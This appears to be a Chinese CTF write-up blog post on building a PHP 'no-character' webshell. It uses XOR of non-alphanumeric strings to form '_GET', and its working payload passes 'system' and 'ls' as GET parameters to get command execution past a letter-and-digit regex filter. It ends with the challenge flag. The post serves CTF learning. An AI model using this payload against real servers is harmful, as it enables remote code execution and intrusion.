无字符webshell

107 篇文章 4 订阅

catflag无字符webshell

本地搭了一个环境,可以看见正则那一块过滤数字和字母。
在这里插入图片描述

无字符webshell

在PHP中,两个字符串执行异或操作以后,得到的还是一个字符串。所以,我们想得到a-z中某个字母,就找到某两个非字母、数字的字符,他们的异或结果是这个字母即可。

<?php
    '#'^'|'; //得到字符 _
    '.'^'~'; //得到字符 P
	'/'^'`'; //得到字符 0
	'|'^'/'; //得到字符 S
	'{'^'/'; //得到字符 T
	$_=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");
	//变量$__值为字符串'_POST'
?>

我们按照这个原理编写payload

<?php
$_="`{{{"^"?<>/"; //_GET
${$_}[_](${$_}[__]); //$_GET[_]($_GET[__])
&_=system()
&__=ls//执行函数 eval("system('ls')")

//payload
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=system&__=ls
?>

在这里插入图片描述
在这里插入图片描述
catflag{327a6c4304ad5938eaf0efb6cc3e53dc}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值